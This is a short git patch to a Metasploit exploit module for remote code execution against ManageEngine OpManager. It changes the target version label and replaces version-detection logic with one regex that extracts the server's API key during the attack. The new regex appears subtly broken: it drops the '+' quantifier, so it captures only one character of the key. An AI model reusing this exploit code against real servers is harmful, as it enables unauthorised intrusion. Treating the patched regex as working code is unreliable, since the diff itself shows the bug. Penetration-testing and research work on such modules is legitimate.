From 18fa4111894c119b6d29cd7c31ee4674777deecc Mon Sep 17 00:00:00 2001 From: Sara Perez Date: Thu, 27 Apr 2017 13:19:44 +0100 Subject: [PATCH] Updated with Egypt's suggestion, also changed the target name to include other versions --- .../windows/http/manage_engine_opmanager_rce.rb | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb index c76452cfbb..ff27a97566 100644 --- a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb +++ b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_JAVA, 'Targets' => [ - ['ManageEngine OpManager v11.6', {}] + ['ManageEngine OpManager <= v11.6', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Sep 14 2015', @@ -121,14 +121,8 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => redirect, 'method' => 'GET' }) - if res.body =~ /OpManager.*v\.([0-9]+\.[0-9]+)<\/span>/ - version = $1 - else - fail_with(Failure::Unknown, "#{peer} - Could not gather the version in use") - end - if res && res.code == 200 && ((version == 11.6 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/) || (version == 11.0 && res.body =~ /window.apiKey = "([a-z0-9]+)"/)) - # the line above checks for the version, as for version 11.0 the call for the api key value is different but the rest of the exploit works the same. + if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9])"/ api_key = $1 print_status("Retrieved API key [ #{api_key} ]") else